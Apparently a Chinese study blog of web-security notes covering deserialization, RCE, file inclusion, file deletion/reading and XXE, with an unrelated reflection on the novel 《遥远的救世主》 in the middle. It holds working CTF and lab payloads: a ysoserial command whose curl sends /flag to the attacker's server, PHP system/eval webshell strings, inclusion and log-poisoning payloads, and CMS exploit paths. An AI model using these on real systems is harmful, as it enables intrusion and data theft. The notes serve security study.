逆向-汇编相关

基于X86架构复习汇编语言。

大学期间汇编语言使用的是王爽老师的教材,回忆下面的汇编指令:
MOV AX,3FH //将立即数3F存到通用寄存器AX中;
ADD BX,AX //将通用寄存器AX中的值与通用寄存器BX中的值相加之后,存在BX中;

此处3FH的H表示16进制数,在别的地方为了区别16进制数往往使用 0x的形式,比如0x3F。

免费的编译器:NASM编译器 http://sourceforge.net/projects/nasm/files/

惯例:汇编语言源程序文件扩展名是 .asm

java反序列化/python反序列化

首先引用迪总的笔记,给出java反序列化的一些特征:

函数接口:

Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

3、出现具体:

http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含

下面是迪总使用工具玩靶场的过程:

#原生API-Ysoserial_URLDNS使用

Serializable 接口

Externalizable 接口

没组件生成DNS利用:

https://github.com/frohoff/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS “http://9ar7xl.dnslog.cn” > urldns.ser

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成RCE:

1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin

2、解码:python java.py

import base64

file = open(“x.bin”,”rb”)

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

#解密分析-SerializationDumper数据分析

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF赛题-[网鼎杯2020朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=’ union select (select name from user)#

dbName=myapp?a=’ union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html接口测试:

{

“password”:”admin@Rrrr_ctf_asde”,

  “username”: “admin”

}

登录成功返回数据:

{   “data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”,   “msg”: “登录成功”,   “status”: 2,   “timestamps”: 1617614357281 }

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64

a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”

b = base64.b64decode(a).encode(‘hex’)

print(b)

再利用SerializationDumper解析数据 java反序列化字节转字符串工具

java -jar SerializationDumper-v1.11.jar aced000xxxx

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://自己服务器的IP以及端口 / -d @/flag” > flag.bin

利用py2脚本进行反序列化数据的提取

import base64

file = open(“flag.bin”,”rb”)

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

0x05 触发反序列化,获取flag

自己的服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作

python反序列化

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

python语言常用的函数:pickle marshal PyYAML shelve PIL unzip

python反序列化比PHP反序列化危害更大,在PHP中,反序列化会触发魔术方法,调用内置对象,而python若存在漏洞,对象可以任意构建,所以更危险。

进行代码审计的时候,从源码找出序列化相关的函数,监控传入的数据、参数是否能被人控制。

#代码审计-自动化工具-bandit安装及使用

参考:https://bandit.readthedocs.io/

安装:pip install bandit

linux:

安装后会在当前Python目录下bin

使用:bandit -r 需要审计的源码目录

windows:

安装后会在当前Python目录下script

使用:bandit -r 需要审计的源码目录

xpath注入

xpath注入针对xml文件,利用xpath解析器的特性,在URL和表单等地方附上payload(恶意的xpath查询码)。xpath注入的目的是获得权限信息的访问权并且修改权限信息,攻击者通过xpath查询能得到xml文档的完整内容。

xpath攻击特点:
1.xpath是一种标准语言,使用xpath但是没有严格过滤输入的web应用极有可能存在漏洞。
2.xpath几乎可以引用xml文档的所有内容,并且引用没有访问限制。

xpath注入原理:
xpath注入和sql注入原理很像,在查询中闭合语句或者是使用逻辑符号运算绕过等实现恶意查询。数据库有sql语句进行增删改查,当数据使用文件保存,比如xml文件,对xml文件的增删改查使用的是xpath语句。因此他们之间的共性可以大致推断。

在XPath中,XML文档被作为节点树对待,XPath中有七种结点类型:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。 文档的根节点即是文档结点;对应属性有属性结点,元素有元素结点。

  • element (元素)
  • attribute (属性)
  • text (文本)
  • namespace (命名空间)
  • processing-instruction (处理指令)
  • comment (注释)
  • root (根节点)
xpath规则
通配符

php反序列化学习补充

是时候重新回到学习状态。

继续学习php的魔术方法,很多都是当某个操作失败时(或者调用不存在的东西)触发这些魔术方法,也有某些操作会触发魔术方法,这是默认的,如果没有配置好,攻击者可以利用魔术方法来设计攻击方法。

下面是上一篇关于php的魔术方法:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__toString(): //把类当作字符串使用时触发

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用


对象变量属性:

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

序列化数据显示:

private属性序列化的时候格式是%00类名%00成员名

protect属性序列化的时候格式是%00*%00成员名


从序列化的字符串,可以判断,序列化前对象变量的属性,如下,当变量属性是public时,序列化显示正常:

图 对象以及对象属性序列化前

序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;}
如果对象属性是private,则会变成%00类名%00成员名,注意到%00会被识别为类似c语言的null,序列化之后存在但是看不见,效果如下:
序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;s:9(7+2,2是两个%00):”testage”;} //testage就是类名加成员名。经常在序列化后要编码,因为不编码的话%00会操作不到。
那么,如果属性是protect的话就会是%00*%00,序列化之后如下:
序列化后:O:4:”test”:3:{s:4:”name”:s:6:”xiaodi”;s:9:”testage”;s:2:”29″;s:6:”*sex”:s:3:”man”;} //高亮处S为6是因为两个%00和*也算进去了。

反序列化在很多ctf比赛上有,依稀记得很久之前某次面试面试官让我手撕一个对象序列化之后的字符串,当时要是早点学就好了。反序列化除了利用逻辑漏洞,还可以利用语言漏洞,比如php的漏洞。在某道ctf题目中,需要对_wakeup()进行绕过,具体使用CVE-2016-7124,利用原理是构造payload中,修改变量个数超过正确个数,注意要进行urlencode编码。


PHP原生类学习:

每个魔术方法的原生类不一样,起到的效果不一样。

phar

字符串逃逸

session


web组件-wordpress-pingback

wordpress中的pingback和trackback用来提醒作者文章被转载。

但是攻击者可能会利用pingback功能去造成资源耗尽。

pingback目录在站点目录的xmlrpc.php文件

读《遥远的救世主》有感

B站也有竖屏短视频区,我有事没事也会翻着看,很多有趣的视频我看了也乐滋滋的。

我发现我很喜欢看切片然后去找原片。高中的时候有同学讲过某某作家写的文章的情节,我很感兴趣但是没有找到原文品读,我在B站看到UP主九筒剪辑的《三体》视频后,被简短十几分钟的情节吸引,于是我在临近高考前一个月买了一套三体并且读完了,当我看《我的三体-章北海传》时,听到“前进四”一词会热泪盈眶。

同样的,贴吧推送我《奇门遁甲》的切片,我认为这部电影是我看过的,最让我被术数震撼到的影视作品,在那个年代CG技术上不太成熟,靠着演员武打还有亦真亦假的特技、特效展现了术的世界。B站给我推送了《天道》的切片,它是根据作家豆豆写的《遥远的救世主》改变的电视剧,切片的剧情是芮小凡想到自己很久没有关照过丁元英,找了几个音响发烧友还有文人朋友组成酒局,请丁元英吃饭。酒局上丁元英不胜酒力,众人欲想吟诗作对,作不出就罚酒,有意刁难丁元英,随后丁将每一个人的酒都倒在自己杯里一饮而尽,赋诗一首,震惊了在场所有人,下是那首诗:

《自 嘲》

本是后山人,
偶做前堂客。
醉舞经阁半卷书,
坐井说天阔。

大志戏功名,
海斗量福祸。
论到囊中羞涩时,
怒之乾坤错。

可能是王志文的台词功底了得,或者是我比较欣赏他的声音,这个片段吸引了我,起初的想法是也许这个故事讲的是一位强人落魄然后重回巅峰得网文情节,不得不说,很感兴趣,于是买了实体书。

书本情节发生在1995年,电视剧由于某些原因将时间线设置为2005年。丁元英解散了在德国建立的私募基金,被合作伙伴冻结资金后回到了国内,他的助手肖亚文托好友芮小丹在北京寻得一个清净地,小说开头借肖亚文之口,设置了悬念,她对芮小丹说,丁元英可以是魔可以是鬼但不能是人。我很好奇怎么样的人能称得上“不是人”。

丁元英是一个对中国传统文化有自卑感的人,书中说,“我们这个民族总是以有文化自居,却忘了问一句,是有什么文化?是真理真相的文化还是弱势文化?是符合事物规律的文化还是违背事物规律的文化?任何一种命运,归根结底都是那种文化属性的产物,不以人的意志为转移”。看到这句话的时候,我就在想电视剧起名为《天道》的原因,与命运有关,这将会是一个改变命运的故事。

后来我同学来串门时,看到我再看这本书,那个时候我还没翻看几页,他说,这是一个扶贫的故事。我心想,这样的人跟扶贫是怎么搭上关系的?丁元英在醉酒时吐露了这种自卑感产生的原因,即如果我们的文化符合规律,那就不用转变观念,让外国人接轨我们就行了。到今天我们应该坚持四个自信,其中包括文化自信,在上党课时老师反复提及我们要有文化自信,我的朋友在毕业答辩时由于引用暴雪为例子被老师批评为“文化不自信”,我思考,我对中国的文化很自信,我自信的文化更深一层的含义是什么。丁元英在书中说“中国的传统文化是皇恩浩荡的文化,它的实用是以皇庭在上为先决条件。中国为什么穷?穷就穷在幼稚的思维,穷在期望救主、期望救恩的文化上。”这本小说名为《遥远的救世主》,看到这里我吸了一口凉气,可能事情会发展得很艰辛,因为我认同很多人都存在“靠老天不靠自己”的思维,也包括身边的人。

说到这里我想起了某次党日活动,内容是“身边的第一书记”,我们小组以班长为代表,采访了当地贫困镇的第一书记,我对第一书记说的话印象很深,他说人们很穷,尽管国家大力扶贫,精准扶贫,但是穷的根源没有变,那就是懒。镇上的懒汉很多,最喜欢做的就是“忙里偷闲”,但是他们并不忙,没太阳的时候干点活,出太阳的时候就找阴凉地休息。致富全靠别人帮,也只等着别人给,怎么会不穷呢?我又想到最近我喜欢的漫画每一章节从0.48元涨到0.79元,读者们在贴吧展开讨论,有人提到了“升米恩,斗米仇”,即帮助某些穷人时,给升米穷人感恩戴德,如果给斗米穷人则想既然能给斗米为何不给更多,既然给了为什么要变少,慢慢的会认为别人的援助是理所应当,有人概括来是“救急不救穷”,对于涨价我不做评价,但对于这个典故我认为十分有道理。上两个了解到的例子,都在说明把命运交给别人,全凭别人的施舍来改变自己的境遇是虚无缥缈的,我们应该要摆脱这种心理,依靠自己的力量改变自己的命运。

丁元英概括天道“强势文化造就强者,弱势文化造就弱者,这是天道。强势文化是遵循事物规律 的文化,弱势文化是依赖强者的道德期望破格获取 的文化”。芮小丹在丁元英家中被丁的私人特制的音响深深吸引,随后发生了包括上文提到的酒局事件等事情,芮小丹将肖亚文的告诫抛却脑后,深深地爱上了丁元英。之后芮小丹让丁元英做一件,让她知道他们俩相爱过的事情,让丁元英给她一个神话,这个神话也是本书核心情节–扶贫。

王庙村,一个贫困村,丁元英说穷是文化属性的必然产物,芮小丹想丁元英制造一个神话,改变王庙村贫困的局面,丁说“神话的实质是强力作用的杀富济贫”。随后丁元英要用他的智慧,让王庙村通过制造音箱,贩卖音箱等产品改变贫困的局面。《遥远的救世主》的名字,仿佛无时无刻暗示我,这个神话可能充斥着艰辛和杀气。而书中村民在听取丁的方案后,欢呼喊出“丁哥一来,王庙村的前途就有救了!”丁元英回答“有了这种想法,就已经没救了“。村民将丁元英视为救世主,此时将一切寄托在丁身上,我们不难发现,村民骨子里刻着的正是前文说的”皇恩浩荡“,只有当王庙村通过自己的努力争取到了机会,才能实现真正意义上的脱贫。

在现实中我们也应该一样,不要都依靠别人,我们自己就是自己的救世主。

——-分割线——-

(上一部分是看到丁元英到五台山,现在是看完了)

看完全文,我整一个人麻了,我挺见不得女性被写死的。

芮小丹死了,死在了抓捕要犯的现场,死在了自己的枪下,更是死在了对丁元英的爱。她牺牲了,自杀,没有被授予荣誉,什么都没有。她跟丁元英最后一次通话,是诀别。芮小丹是一位令我敬佩的女性,她活得很自由,爱得很自由,连丁元英都认为自己不如她自在。他们相爱,那颗哑弹让芮小丹后怕,后怕见不到他,那枚炸弹让芮小丹害怕,害怕自己不再美丽,最后那颗子弹,她笑着了结了自己的生命。那一次通话,丁元英对芮小丹肃然起敬,那一次通话,丁元英沉默地悲痛的听着芮小丹的告别,没有下一次通话了,敲门的是小丹的同事。

她爱丁元英,一套音响和一沓唱片,让芮小丹深深被丁元英吸引,她索要一个神话。他爱芮小丹,为了姑娘的期待,他低头赔罪,听了小丹大难不死后的哭诉,他打开了心扉,他要给芮小丹一个神话。他对她说,国家机器不缺少一个迟早要被替代的女刑警,这句话是他对爱人的担心。几次面对生死存亡,小丹只会怕自己死后见不到丁元英,此外再无其他,因为她是警察。

这本书,希望我们不要一切都想着“靠”,没有皇恩浩荡,我们只能靠自己。一场官司,是全书的高潮,棋手的较量,是文化属性之间的较量。格律诗赢了乐圣,靠的也仅仅是客观规律,丁元英给芮小丹的神话 ,本质也是客观规律,王庙村的救世主,是他们自己。

RCE执行:代码执行-命令执行

代码执行:脚本执行代码
命令执行:脚本执行命令

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

#RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval(‘phpinfo();’);

//system命令执行

system(‘ipconfig’);

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:

eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议

php://input post:<?php system(‘tac flag.php’);?>

#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方

http://vulfocus.io/ Shiro weblogic

在下面的网站可以尝试利用payload

https://github.com/payloadbox/command-injection-payload-list

web安全-文件下载、删除、读取

对于文件的操作:上传、包含、下载、删除、读取……在这些功能点产生漏洞,都会对系统安全形成危害。文件下载、读取思路相似,主要是对一些敏感的文件进行操作,比如说凭据。而删除更是高危操作,举个例子,删除漏洞会让攻击者删除一些验证文件,会对访问控制进行破坏,另外,攻击者还会利用该漏洞进行重装攻击,将配置初始化指向攻击者构建的环境。再举一个例子,很多博客系统可以删除文章,以此为切入点思考文件删除漏洞产生原理

回忆之前提到的下载的区别:
1.直连下载,在目录中有的,输入文件名能根据协议类别进行下载。因为直连有就有没有就没有,正经人不会把敏感数据放到可以下载的目录,而且攻击者也没有可以控制的参数,所以是安全的,写死了路径不会有漏洞。
2.常规下载会有特定的判定语句,然后对请求内容进行下载,这种会有参数,如果参数可控,就可能存在有下载漏洞。

在迪总演示外国网站,尝试下载index.php文件,下载后审计其中代码,发现包含很多文件,可以推测一些数据库配置文件应该也是被包含的,所以可以尝试下载数据库配置文件(可以找到特定的名称文件,也可以一个个尝试)。幸运的话可以发现包含的配置信息里的敏感内容,比如数据库账号密码。

下面借鉴迪总笔记:

#白盒审计:

1、文件下载

流程-功能点抓包-寻代码文件-寻变量控制-构造测试

Payload: softadd=d:/1.txt softadd2=d:/1.txt

2、文件删除:74CMS-配合删除重装

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock

3、文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload:/include/thumb.php?dir=http\..\..\config\config_db.php

#黑盒探针

1、URL参数名及参数值分析:

参数名:英文对应翻译

参数值:目录或文件名

2、功能点自行修改后分析:

文件下载,删除,读取等

文件包含漏洞

该漏洞使用多,因为基本上都会使用文件包含来执行代码。比如一些验证模块,是写好之后再在需要认证的地方引用它

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法-见下文

<!–#include file=”1.asp” –>

<!–#include file=”top.aspx” –>

<c:import url=”http://thief.one/1.jsp”>

<jsp:include page=”head.jsp”/>

<%@ include file=”head.jsp”%>

<?php Include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

在一些存在文件包含漏洞的地方,我们要的到目标内容,在不知道路径以及要包含文件的信息时,可以使用一些伪协议,如php的一些伪协议。在迪总的演示中使用: ?file=php://input
然后用post发送数据

要注意的是,如果要使用伪协议,需要配合配置文件,比如如下图,特定的协议需要在配置文件中设置为打开状态才能使用

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system(‘tac flag.php’);?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

79-data&http协议

payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码 //这跟之前文件上传时用到的思路一样,尝试包含日志文件,比如nginx的日志是下面路径,包含执行后抓包,修改UA头,改成payload,放行后,可以在日志查看。

包含:/var/log/nginx/access.log

82-86-SESSION包含 //迪总演示中,linux保存session的地址xxx/temp/temp,每有一次尝试访问网站都会产生session会话。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64: // 有些时候,过滤了“.”也就是不能包含日志文件了

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13: //rot 13

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv(“UCS-2LE”,”UCS-2BE”, ‘<?php eval($_POST[a]);?>’);

echo “经过一次反转:”.$result.”\n”;

echo “经过第二次反转:”.iconv(“UCS-2LE”,”UCS-2BE”, $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过 //如果url会被拼接,那么伪协议就用不了,比如“file”.$url.”.php”这样的话,伪协议会失去作用

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定 //php低版本的缺陷

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

web漏洞-XML-XXE

XML是一种语言,跟html的区别是,xml用来传输数据存储内容数据的,而html是用来展示数据的。

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

相关文章总结,参考:文章

-XXE黑盒发现:
比如在登陆的时候,抓个包,看看报文分析分析

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

-方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC